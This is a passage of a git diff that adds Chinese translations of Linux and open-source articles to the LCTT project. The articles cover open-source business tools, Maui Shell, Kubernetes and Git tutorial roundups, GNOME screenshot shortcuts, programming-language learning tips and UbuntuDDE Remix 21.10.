网站,满足你的客户对网上购物、路边取货和送货的偏好。它还可以建立你的品牌和你的客户群。 + +### 《试试 Chatwoot,一个开源的客户关系平台》 + +在任何有面向客户的业务中,保持与客户的互动是至关重要的。我们最后一次接触这个客户是什么时候,或者他们最后一次接触我们是什么时候?我们的组织中谁做了回应?什么服务水平协议制约着这种关系?这些和其他问题最好在客户关系管理系统(CRM)中进行管理。[Nitish Tiwari][9] 介绍了 [Chatwoot][8],一个用 Ruby 和 Vue.js 构建的开源客户关系平台。Chatwoot 是从零开始写的,目的是让客户关系团队建立端到端的票据管理和支持平台。本文将介绍 Chatwoot 的架构、安装和主要功能。 + +### 《试试 Dolibarr,一个开源的客户关系管理平台》 + +无论你是经营零售店、餐厅、酒吧、超市、健身房还是其他业务,你都需要一个可靠的方式来与你的客户保持联系。毕竟,他们是客户,因为他们喜欢你做的事情,如果他们与你分享了他们的联系信息,他们想听到更多关于你所提供的东西。[Pradeep Vijayakumar][11] 介绍了 [Dolibarr][10] 项目,一个开源的企业资源规划(ERP)和客户关系管理(CRM)软件。Dolibarr 提供了一整套 ERP 功能,包括销售点(POS)、发票、存货和库存管理、销售订单、采购订单和人力资源管理。 + +### 《微软 Exchange 的一个开源替代品》 + +多年来,微软 Exchange 作为群件环境的必然选择。然而,在 2020 年末,一个奥地利的开源软件开发商推出了 [grommunio][12],它是一个群件服务器和客户端,其外观和感觉为 Exchange 和 Outlook 用户所熟悉。[Markus Feilner][13] 写了关于 grommunio 如何在企业中取代 Exchange,成为群件的一个强大而功能齐全的选择。 + +### 《用这个开源工具简化发票的指南》 + +许多 IT 项目在开发过程中会延迟、超出预算,并出现巨大的变化。这些问题使开具发票成为 IT 领域最费力的活动之一。Frank Bergmann 写了一篇关于开源项目如何 [简化开票过程][14] 的文章。如果你决定成为自雇人士或成立一个创业公司,Frank 的文章也可以作为处理财务工作的指南。 + +### 开源是好生意 + +开源软件不仅仅是为开发者服务的。企业也可以利用开源软件的力量。事实上,开源是许多商业领域的一个主要驱动力。你今天使用的工具可能本身就是开源软件,或者使用开源作为堆栈的一部分。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/open-source-business-tools + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/tools_hardware_purple.png?itok=3NdVoYhl (Tools illustration) +[2]: https://opensource.com/article/21/3/open-source-project-management +[3]: http://fraber +[4]: https://opensource.com/article/21/4/business-intelligence-open-source +[5]: https://opensource.com/users/mistercrunch +[6]: https://opensource.com/article/21/3/wordpress-plugins-retail +[7]: https://opensource.com/users/don-watkins +[8]: https://opensource.com/article/21/6/chatwoot +[9]: https://opensource.com/users/tiwarinitish86 +[10]: https://opensource.com/article/21/7/open-source-dolibarr +[11]: https://opensource.com/users/deepschennai +[12]: https://opensource.com/article/21/9/open-source-groupware-grommunio +[13]: https://opensource.com/users/mfeilner +[14]: https://opensource.com/article/21/7/open-source-invoicing-po diff --git a/published/202201/20211230 Maui Shell is Here, Ushering in a New Era of Desktop Linux.md b/published/202201/20211230 Maui Shell is Here, Ushering in a New Era of Desktop Linux.md new file mode 100644 index 0000000000..4d82b962ee --- /dev/null +++ b/published/202201/20211230 Maui Shell is Here, Ushering in a New Era of Desktop Linux.md @@ -0,0 +1,95 @@ +[#]: subject: "Maui Shell is Here, Ushering in a New Era of Desktop Linux" +[#]: via: "https://news.itsfoss.com/maui-shell-unveiled/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lujun9972" +[#]: translator: "imgradeone" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14136-1.html" + +Maui Shell 来了,开启 Linux 桌面新时代 +====== + +> 除了 System76 宣布了基于 RUST 的新桌面环境之外,还有别的团队也给桌面 Linux 用户带来了一些新东西。 + +![](https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/maui-shell.png?w=1200&ssl=1) + +过去的几年里,我们很欣慰地看到 [Nitrux Linux][1] 背后的团队正在扩大他们对 Linux 社区的影响。如今,伴随着全新 Maui Shell 的发布,他们的影响也已经得到了进一步扩大。 + +让我们一起来看看吧! + +### 关于 Maui 项目的一些背景介绍 + +![][2] + +作为由 Nitrux Linux 团队原班人马创建、开发、维护的项目,Maui 项目已经开发了许多基础应用。实际上,他们的文件管理器 [Index][3] 甚至成功进入了我们的 [2021 年五大应用列表][4] 之中! + +他们的所有应用均使用 MauiKit 这款定制框架开发。基于 Kirigami 的 MauiKit 专注于跨终端融合性,因此开发出来的应用可以在电脑和手机端拥有一致的体验。此外,它为开发者提供了更多的预置组件,因此创建应用可以更加便捷。 + +目前 Maui 项目开发的部分应用包括: + + * Index(文件管理器) + * Nota(文本编辑器) + * VVave(音乐播放器) + * Clip(视频播放器) + * Pix(图片查看器) + +虽然这些自制应用本身质量不错,但它们在 Nitrux Linux 的默认桌面环境 KDE Plasma 里总显得不合群。因此,Maui Shell 应运而生。 + +### Maui Shell 介绍 + +![][5] + +借助与 Maui 应用相同的 MauiKit 和 Qt 技术底层,Maui Shell 是 Nitrux 在桌面环境领域的一个新尝试。从上面的截图可以看出,它在很大程度上受到了 GNOME Shell 的启发,这在使用过程中也确实有所体现。 + +但,这并不意味着 Maui Shell 没有原创的地方。从底部上滑可打开类似于 GNOME “活动”的概览界面。与此相邻的是一个小 Dock,可以通过相当美观的启动器来启动应用。右上角有一个与 macOS 相似的控制中心,内有精心设计的菜单和许多控制功能。 + +在我使用它的过程中,一切都是如此精致、自然。我感觉这与它极致现代、扁平的设计美学有关,我甚至认为 Maui Shell 已经超越了 GNOME 和 KDE Plasma 等同类软件。说到 Plasma,与 Nitrux 的默认 Plasma 版本相比,Maui Shell 在低端设备(和虚拟机)上的反应更加灵敏。 + +总的来说,我预测 Maui Shell 将依靠其实用性成为 “Linux 桌面环境之王”。然而,我还没谈到 Maui Shell 最核心的特性:跨终端自适应性Convergence。 + +### 主流之中的融合 + +许多人可能还记得 2010 年 Canonical 开发了一款类似的跨终端桌面环境 Unity,它最终以失败落幕,到 2018 年则被完全淘汰了。但是,Unity 和 Maui Shell 有一个共同特性 —— 那就是跨终端融合性。 + +随着 Linux 在移动端的开发力度逐渐加大,跨终端支持变得尤为重要。由此来看,一个新的桌面环境竟能同时支持桌面端和移动端,的确不可思议。 + +这一点必须依靠大量的跨终端应用实现,而 Maui 已经处在了完美的衔接点上。这仅仅是我相信 Maui Shell 能成为 Linux 桌面未来的原因之一。 + +### 立即试用 Maui Shell + +与其他新发布的软件不同,Maui Shell 已经预装于新发布的 Nitrux 1.8。如果你想亲自尝试一下,那请随时从下方链接中获取 ISO 镜像。但是,在尝试之前,请务必知晓:Maui Shell 仍处于早期开发阶段。 + +尽管 Maui Shell 拥有许多特色功能,但部分功能可能存在问题、尚未实现,要么就是缺失了,其中包括: + + * 蓝牙支持 + * PulseAudio 支持 + * 网络开关 + * 媒体控制(MPRIs) + * 拖放支持 + * 多显示器支持 + * 设置应用 + * XWayland Shell 插件 + +因此,我暂时不能建议你使用 Maui Shell 作为主力桌面环境。为此,你可能需要等待 2022 年秋季发布的正式版本。 + +在此之前,我仍将持续关注 Maui Shell。对于这款桌面环境,你的评价如何?欢迎在评论区说出你的想法! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/maui-shell-unveiled/ + +作者:[Jacob Crume][a] +选题:[lujun9972][b] +译者:[imgradeone](https://github.com/imgradeone) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lujun9972 +[1]: https://nxos.org/ +[2]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/Maui-Apps-.png?resize=1568%2C1012&ssl=1 +[3]: http://mauikit.org/apps/index +[4]: https://news.itsfoss.com/linux-apps-discovered-2021/ +[5]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/maui-shell-nitrux.webp?w=1000&ssl=1 \ No newline at end of file diff --git a/published/202201/20211231 15 ways to advance your Kubernetes journey in 2022.md b/published/202201/20211231 15 ways to advance your Kubernetes journey in 2022.md new file mode 100644 index 0000000000..45dd99af8c --- /dev/null +++ b/published/202201/20211231 15 ways to advance your Kubernetes journey in 2022.md @@ -0,0 +1,59 @@ +[#]: subject: "15 ways to advance your Kubernetes journey in 2022" +[#]: via: "https://opensource.com/article/21/12/learn-kubernetes-2022" +[#]: author: "Moshe Zadka https://opensource.com/users/moshez" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14169-1.html" + +2021 总结:推进你的 Kubernetes 之旅的 15 种方法 +====== + +> 无论你是在家庭实验室里试验 Kubernetes,还是想成为一个成为 Kubernetes 的维护者,这里都有适合你的资源。 + +![](https://img.linux.net.cn/data/attachment/album/202201/11/165225i3tvyk3zqbq36yb8.jpg) + +2021 年对于 Kubernetes 来说是令人兴奋的一年,这些文章证明了这一点。从有趣的界面到家庭实验室再到开发环境,看看我在 2021 年最喜欢的 K8s 文章。 + +如果你对基本原理感兴趣,这篇 [介绍 Linux 上的容器][2] 的文章从内到外阐明了 Linux 容器的工作原理。你是否想获取一些乐趣?安装 minikube 并开始使用 [DOOM 游戏作为界面][3] 来管理它。另一个选择是 [kubectl][4],这是一个更传统的 Kubernetes 控制 CLI。 + +即使你只在你的 [Linux 家庭实验室][5] 上运行 Kubernetes,你也可以使用 [Terraform 和 Helm][6] 等工具来自动化日常操作。这创造了一个 [更好地掌握 Terraform][7] 的机会。 + +生活中可以确定的几件事之一是,计算机会以奇怪而有趣的方式出错。[用 Prometheus 和 Grafana 监控你的 Kubernetes 集群][8],看看它是如何出错的。[使用 Grafana Tempo 的分布式跟踪][9]来监控里面运行的应用。通过引入 [Chaos Mesh][10] 在 Kubernetes 中造成有意的混乱,来监控你监控的性能。 + +如果你正在开发在 Kubernetes 上运行的应用,[Quarkus 可以帮助你开发和测试][11]。使用 Java 的开发者 [可以在 Kubernetes 上使用容器运行][12] 应用。像 [Tackle-DiVA][13] 这样的工具有助于将应用移植到容器中。 + +像所有成功的开源项目一样,Kubernetes 的部分价值是一个强大的 [生态系统][14]。比如 [KubeEdge 项目][15],它有助于将计算和数据更接近终端用户。在使用 Kubernetes 一段时间后,你甚至可能想 [成为 Kubernetes 维护者][16]。 + +有这么多有趣的 Kubernetes 内容可供学习,可能很难将它们全部看完。不过,对于系统管理员和开发人员来说,优秀的 Kubernetes 资源是必须的。请阅读这些精选的内容。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/learn-kubernetes-2022 + +作者:[Moshe Zadka][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/moshez +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ship_captain_devops_kubernetes_steer.png?itok=LAHfIpek (Ship captain sailing the Kubernetes seas) +[2]: https://opensource.com/article/21/8/container-linux-technology +[3]: https://opensource.com/article/21/6/kube-doom +[4]: https://opensource.com/article/21/7/kubectl +[5]: https://opensource.com/article/21/6/kubernetes-linux-homelab +[6]: https://opensource.com/article/21/8/terraform-deploy-helm +[7]: https://opensource.com/article/21/8/terraform-tips +[8]: https://opensource.com/article/21/6/chaos-grafana-prometheus +[9]: https://opensource.com/article/21/2/tempo-distributed-tracing +[10]: https://opensource.com/article/21/6/chaos-mesh-kubernetes +[11]: https://opensource.com/article/21/7/developer-productivity-linux +[12]: https://opensource.com/article/21/5/what-serverless-java +[13]: https://opensource.com/article/21/6/tackle-diva-kubernetes +[14]: https://opensource.com/article/21/6/kubernetes-ebook +[15]: https://opensource.com/article/21/1/kubeedge +[16]: https://opensource.com/article/21/2/kubernetes-maintainer diff --git a/published/202201/20220101 Using GNOME Screenshot Tool in Linux Like a Pro.md b/published/202201/20220101 Using GNOME Screenshot Tool in Linux Like a Pro.md new file mode 100644 index 0000000000..a44c2c3e41 --- /dev/null +++ b/published/202201/20220101 Using GNOME Screenshot Tool in Linux Like a Pro.md @@ -0,0 +1,114 @@ +[#]: subject: "Using GNOME Screenshot Tool in Linux Like a Pro" +[#]: via: "https://itsfoss.com/using-gnome-screenshot-tool/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14166-1.html" + +在 Linux 中像专业人士一样使用 GNOME 截图工具 +====== + +有 [几个可用于 Linux 的截图工具][1],我喜欢 [使用 Flameshot 进行截图][2] 和 Shutter 来编辑现有的截图。 + +但不幸的是,Flameshot 不能在 4K 屏幕上工作。因此,我不得不使用默认的 GNOME 截图工具,它在我的带有超高清屏幕的戴尔 XPS 上工作得非常好。 + +![GNOME screenshot tool][3] + +这一“被迫之举”让我意识到,如果你知道如何正确使用,[GNOME 截图][4] 并不是一个糟糕的工具。 + +在这里,我指的是用键盘快捷键来使用它,因为这样可以节省大量的时间。 + +让我展示一下如何像专家一样用那些方便的键盘快捷键来使用 GNOME 截图应用。 + +我假定你没有改变这里的默认的截图的键盘快捷键。 + +### 对整个屏幕进行截图:使用 Prt Scr 键 + +这是最简单的操作。在你的键盘上找到 `Prt Sc`(或称 `Prt Scr`、`Prt Scn`)键并按下它。它将对整个屏幕进行截图,并将其保存在你的主目录下的图片文件夹中。 + +![Screenshot of entire screen saved as PNG file][5] + +在某些发行版(或版本)中,你可能会看到是否要保存截图的选项,但大多数情况下,它会自动保存屏幕截图。 + +这里需要注意的另一件事是,如果你有多个屏幕连接到系统上,它会把所有的屏幕一起截图。这意味着,你会得到一个超宽的图像。 + +但是,如果你只想对某个应用进行截图,而不是对整个屏幕进行截图呢? + +### 给一个应用程序的窗口截图:使用 Alt+Prt Scr 键 + +要给正在运行的图形应用截图,你需要这样做: + +点击正在运行的应用,使其获得焦点。现在,按住 `Alt` 键并按 `Prt Scr` 键。 + +它将得到应用窗口的截图,并保存到图片目录中。 + +![Screenshot of an application window in GNOME][6] + +这样获取的截图也有一个阴影效果,看起来很不错。 + +这很好,但如果你只想给某个特定区域截图,而不是整个屏幕呢?这也有一个技巧。 + +### 对屏幕的选定区域进行截图:使用 Shift+Prt Scr 键 + +按住 `Shift` 键。然后按 `Prt Scr` 键。你会看到屏幕上出现一个选框。将鼠标移动到所需的区域,开始拖动光标。它将高亮显示该区域,并在你释放鼠标后立即进行截图。 + +![Taking screenshot of an area in GNOME][7] + +### 复制截图到剪贴板而不是保存它们 + +当你在和别人聊天时,要和对方分享屏幕截图时,这非常有用。 + +![Screenshot copied to the clipboard can be used in various applications][8] + +首先截图,但没必要将保存的截图文件附在聊天工具中。相反,你可以直接将截图复制到剪贴板,然后使用 `Ctrl+V` 快捷键将图像(从剪贴板)粘贴到聊天工具。 + +这样,你的系统就不会保留不必要的截图,你也可以节省一些鼠标点击次数。 + +要把截图保存到剪贴板,以便你能把它们粘贴到聊天工具、绘图工具或文档中,你必须把 `Ctrl` 键和你在前面几节中看到的其他截图快捷键一起使用。 + + * `Ctrl+Prt Scr`:将整个屏幕的截图复制到剪贴板上。 + * `Ctrl+Alt+Prt Scr`:将应用窗口的截图复制到剪贴板上。 + * `Ctrl+Shift+Prt Scr`:将选定区域的截图复制到剪贴板上 + +我必须补充一点,在这种情况下,[使用像 Flameshot 这样的工具][2] 甚至更好一些,因为它允许你在将截图保存到剪贴板之前对其进行注释。这样,你可以很容易地高亮屏幕的重要部分。 + +### 在截图中添加延迟,以便对下拉菜单进行截图 + +到目前为止,一切都很好。你只需按下几个键,就可以随心所欲地进行截图了。 + +问题是,当你要对下拉菜单或右键动作等进行截图时。当你按下屏幕截图键时,想要的项目可能会消失。 + +为了处理这种情况,你可以对该区域或整个屏幕进行截图,但要有一个延迟。 + +![Taking screenshot with delay][9] + +在 GNOME 屏幕截图工具中,你可以选择添加这个延迟。例如,你添加了 6 秒的延迟。你点击截图按钮,有 6 秒时间来做/显示你想做的事情。6 秒后,它就会自动截图了。 + +### 你有什么技巧吗? + +这就是我使用 GNOME 截图工具的所有技巧。如果你还没有广泛地使用它,你应该会发现它很有帮助。如果你已经是一个专家,也许你知道一些可以添加到本文中的东西?请在评论区与我们其他人分享吧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/using-gnome-screenshot-tool/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/take-screenshot-linux/ +[2]: https://itsfoss.com/flameshot/ +[3]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/gnome-screenshot-tool.jpg?resize=800%2C413&ssl=1 +[4]: https://apps.gnome.org/app/org.gnome.Screenshot/ +[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/screenshot-of-entire-screen-gnome.jpg?resize=800%2C532&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/screenshot-of-an-application-windows-gnome.png?resize=800%2C437&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/take-screenshot-of-region-gnome.webp?resize=800%2C430&ssl=1 +[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/saving-screenshot-to-clipboard-and-using-it.webp?resize=800%2C476&ssl=1 +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/taking-screenshot-with-delay-gnome.webp?resize=800%2C428&ssl=1 diff --git a/published/202201/20220104 10 Git tutorials to level up your open source skills in 2022.md b/published/202201/20220104 10 Git tutorials to level up your open source skills in 2022.md new file mode 100644 index 0000000000..f5d166a924 --- /dev/null +++ b/published/202201/20220104 10 Git tutorials to level up your open source skills in 2022.md @@ -0,0 +1,95 @@ +[#]: subject: "10 Git tutorials to level up your open source skills in 2022" +[#]: via: "https://opensource.com/article/22/1/git-tutorials" +[#]: author: "Manaswini Das https://opensource.com/users/manaswinidas" +[#]: collector: "lujun9972" +[#]: translator: "stevenzdg988" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14194-1.html" + +2021 总结:提升 Git 技能的 10 篇指南 +====== + +> 这些文章包含了黑科技、鲜为人知的事实,以及在使用 Git 时可以派上用场的技巧和窍门。 + +![](https://img.linux.net.cn/data/attachment/album/202201/19/171344h03bqej63r36vyvl.jpg) + +Git 是代码协作开发工作流程中不可或缺的一部分。无论你是初学者还是专家,第一件事就是在使用开源代码时需要学习这个功能强大的版本控制系统。对于 Git,不需要知道所有事情,但是了解一些特殊的黑科技可以让你在 GitLab 等平台上更轻松地分享代码,因此你可以与不同地方的开发人员协作。如果有什么没把握的地方,`git --help` 可以帮助你。 + +我每天都为了解 Git 所提供的控制能力而感到惊讶。没有哪种情况是你无法恢复到早期版本的,无论你所处的情况是多么不可能或棘手。 + +在 2021 年我们发布了大量 Git 的文章;我只汇总了其中前 10 篇,这些文章包含了各种黑科技、鲜为人知的事实,以及在使用 Git 时可以派上用场的技巧和窍门。 + +### 使用 git stash 命令的实用指南 + +[Ramakrishna Pattnaik][2] 解释了 [git stash 命令][3] 的功能。这篇文章重点介绍 `git stash` 如何帮助你列出、检查、保存和恢复更改,以确保切换分支时的无忧体验。它还可以帮助你跟踪在本地无需提交的更改,而同时保持干净的工作目录。 + +### 5 个让你的 Git 技能更上一层楼的 Git 命令 + +[Seth Kenlon][4] 详细介绍了 [五个鲜为人知的 Git 命令][5],它们可以让你的生活更轻松。开发人员可以使用 `git whatchanged`、`git stash`、`git worktree` 和 `git cherry-pick` 等命令来节省时间。 + +### Git cherry-pick 简介 + +[Rajeev Bera][6] 教程将引导你了解 [git cherry-pick 命令][7] 是什么,为什么和如何使用它,并列出 `git cherry-pick` 可以帮助你避免棘手的情况所有用例。 + +### 3 个使用 git cherry-pick 命令的原因 + +我分享了 [利用 git cherry-pick][8] 如何帮助你避免冗余,一次性处理多个提交并恢复丢失的更改。 + +### 使用 git worktree 自由地尝试你的代码 + +`git stash` 命令负责将更改保存到工作目录。Seth Kenlon 向我们介绍了 `git worktree` 和几个 [git worktree 用例][9],它们可以帮助你将存储库恢复到已知状态。 + +### Git 上下文切换的 4 个技巧 + +[Olaf Alders][10] 的这篇文章讨论了使用 Git 时 [切换分支的四种不同方式][11] 的利弊。这些选项将帮助你简化工作流程,并保持干净的工作目录,而不会丢失你的更改。 + +### 查找 Git 提交中的更改 + +Seth Kenlon 解释了如何利用如 [git log 和 git whatchanged][12] 等简单命令来提取有关 Git 提交内容中更改的特定信息。这是一个有用的快捷方式,而且名字很容易记住。 + +### 管理主目录的 7 个 Git 技巧 + +Seth Kenlon 分享了 [使用 Git 管理和组织 $HOME 变量][13] 的注意事项,并解释了它如何让他的跨设备生活更实用。更好的是,这让他可以自由地尝试新想法,因为他知道他可以轻松地将它们回滚。 + +### GitOps 与 DevOps:有什么区别? + +[Bryant Son][14] 向你介绍了 [GitOps][15],他将其描述为 DevOps 的进化版本,它使用 Git 作为单一事实来源。这篇文章还列出了其它有用资源,可用于学习 DevOps 并在开源领域找到工作。 + +### 开始使用 Argo CD + +[Ayush Sharma][16] 详细介绍了 [Argo CD][17] 的优势,这是一种基于拉取式的 GitOps 开发工具。Argo CD 通过在 Git 中管理 Kubernetes 清单并将它们同步到集群中,为你提供两全其美的体验。 + +你能想到其他让你的生活更轻松的 Git 技巧吗?请在评论中告诉我们。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/git-tutorials + +作者:[Manaswini Das][a] +选题:[lujun9972][b] +译者:[stevenzdg988](https://github.com/stevenzdg988) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/manaswinidas +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png?itok=-8E2ihcF (Woman using laptop concentrating) +[2]: https://opensource.com/users/rkpattnaik780 +[3]: https://opensource.com/article/21/4/git-stash +[4]: https://opensource.com/users/seth +[5]: https://opensource.com/article/21/4/git-commands +[6]: https://opensource.com/users/acompiler +[7]: https://opensource.com/article/21/4/cherry-picking-git +[8]: https://opensource.com/article/21/3/git-cherry-pick +[9]: https://opensource.com/article/21/4/git-worktree +[10]: https://opensource.com/users/oalders +[11]: https://opensource.com/article/21/4/context-switching-git +[12]: https://opensource.com/article/21/4/git-whatchanged +[13]: https://opensource.com/article/21/4/git-home +[14]: https://opensource.com/users/brson +[15]: https://opensource.com/article/21/3/gitops +[16]: https://opensource.com/users/ayushsharma +[17]: https://opensource.com/article/21/8/argo-cd +[18]: https://opensource.com/how-submit-article diff --git a/published/202201/20220104 5 tips for learning a new programming language in 2022.md b/published/202201/20220104 5 tips for learning a new programming language in 2022.md new file mode 100644 index 0000000000..715c342ef6 --- /dev/null +++ b/published/202201/20220104 5 tips for learning a new programming language in 2022.md @@ -0,0 +1,74 @@ +[#]: subject: "5 tips for learning a new programming language in 2022" +[#]: via: "https://opensource.com/article/22/1/learn-programming" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14178-1.html" + +2021 总结:学习新编程语言的 5 个小知识 +====== + +> 借助开源的力量,任何人都可以编程。找到一个你想做的项目,并让它成为你进入编程的第一个项目。 + +![](https://img.linux.net.cn/data/attachment/album/202201/14/151030layqs229euy206sc.jpg) + +任何人都可以开始学习编程。[我们都是从某个起点开始的][2],而且你不需要有计算机科学背景就可以学习编程。这就是 Linux 和开源的力量:任何人都可以学习一点编程。 + +如果你想学习一种新的编程语言,我们有几篇可以让你起步的很棒的文章。下面是我们最受欢迎的几篇文章,它们可以帮助到你。 + +### 比较编程语言 + +大多数编程语言都有某些相似之处。当你知道如何用一种编程语言做一件事,学习下一种编程语言主要是弄清其语法和结构。 + +#### 不同的编程语言如何做同样的事情 + +学习一种新的编程语言的一个好方法是写一个简单的测试程序,如一个游戏,以探索该编程语言的工作原理。我经常写的一个示例程序是一个简单的“猜数字”游戏,即计算机在 1 到 100 之间挑选一个数字,让我猜出来。今年早些时候,我们发表了 [一系列文章][3],探讨如何用几种编程语言编写猜数字游戏。了解这些不同的编程语言如何实现“猜数字”游戏的主要步骤。 + +#### 不同的编程语言如何读写数据 + +[Alan 的][5]文章比较了不同的编程语言如何在相同的思想下 [读写数据][4]。无论这些数据是来自于配置文件还是用户创建的文件,在存储设备上处理数据对于编码者来说是很常见的。Alan 的比较文章提供了对几种流行的编程语言,如 C、Java、Groovy 和其他语言所采取的不同方法的深入了解。 + +### 学习一种新的编程语言 + +无论你是想学习一种新的编程语言,还是想探索一种现有的编程语言,请看看下面这些关于学习编程的好文章。 + +#### 如何用 WebAssembly 编写 “Hello World” + +WebAssembly 是一种字节码格式,几乎所有的浏览器都可以将其编译为主机系统的机器代码。与 JavaScript 和 WebGL 一起,WebAssembly 满足了将应用移植到网络浏览器中独立使用的需求。[Stephan][7] 解释了如何用 WASM-text 创建经典的 [Hello World 程序][6]。 + +#### 用 Golang 轻松实现交叉编译 + +[Gaurav][9] 写了关于通过将脚本转换为 Go 程序来学习 [Go 的交叉编译支持][8]。你可以一次写好你的程序,并通过交叉编译为另一个环境进行编译。 + +#### 为什么我使用 D 编程语言来编写脚本 + +D 编程语言由于其静态类型和元编程能力,常常被认为是一种系统编程语言。然而,它也是一种非常高效的脚本语言。[Lawrence][11] 写了关于如何利用 D 编程语言进行 [普通的脚本编写][10]。 + +借助于开源的力量,编程可以被任何人所接受。找到一个你想做的项目,并让它成为你进入编程的第一个项目。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/learn-programming + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_2.png?itok=JPlR5aCA (Woman sitting in front of her computer) +[2]: https://opensource.com/article/21/8/first-programming-language +[3]: https://opensource.com/article/21/4/compare-programming-languages +[4]: https://opensource.com/article/21/7/programming-read-write +[5]: https://opensource.com/users/alansmithee +[6]: https://opensource.com/article/21/3/hello-world-webassembly +[7]: https://opensource.com/users/hansic99 +[8]: https://opensource.com/article/21/1/go-cross-compiling +[9]: https://opensource.com/users/gkamathe +[10]: https://opensource.com/article/21/1/d-scripting +[11]: https://opensource.com/users/aberba diff --git a/published/202201/20220104 Deepin Desktop With Ubuntu- UbuntuDDE Remix 21.10 is Here.md b/published/202201/20220104 Deepin Desktop With Ubuntu- UbuntuDDE Remix 21.10 is Here.md new file mode 100644 index 0000000000..119243d446 --- /dev/null +++ b/published/202201/20220104 Deepin Desktop With Ubuntu- UbuntuDDE Remix 21.10 is Here.md @@ -0,0 +1,88 @@ +[#]: subject: "Deepin Desktop With Ubuntu? UbuntuDDE Remix 21.10 is Here!" +[#]: via: "https://news.itsfoss.com/ubuntudde-remix-21-10/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14149-1.html" + +想在 Ubuntu 上使用深度桌面?UbuntuDDE Remix 21.10 来了! +====== + +> 想在不安装深度操作系统的情况下获得最新的深度桌面体验吗?UbuntuDDE Remix 21.10 终于登场了! + +![](https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/ubuntu-dde-remix.jpg?w=1200&ssl=1) + +[深度 20.3][1] 已经发布了一段时间,做了一些基本的改进和细微的视觉变化。 + +但是,如果你想在 Ubuntu 上面获得最新的深度桌面体验?UbuntuDDE Remix 21.10 “Impirish Indri” 终于登场了。 + +这可能是新年伊始第一周中令人兴奋的发布之一吧? + +### UbuntuDDE Remix 21.10:有什么新内容? + +该版本的关键亮点是增加了最新的深度桌面。你应该还会发现一个更新的 Linux 内核、Calamares 安装程序、更新的应用程序、新的壁纸,以及其他改进。 + +下面让我介绍一下这些基本的变化。 + +#### Ubuntu 21.10 & Linux 内核 5.13 + +![][2] + +[Linux 内核 5.13][3] 是一个必不可少的升级,它包括了一些硬件改进和安全增强。 + +具体来说,UbuntuDDE Remix 21.10 采用了 Linux 内核 5.13.0-22。 + +而且,这是建立在 [Ubuntu 21.10][4] 的基础上的。因此,在这里你也可以得到 Ubuntu 21.10 的改进和功能。 + +#### 最新的深度桌面环境 + 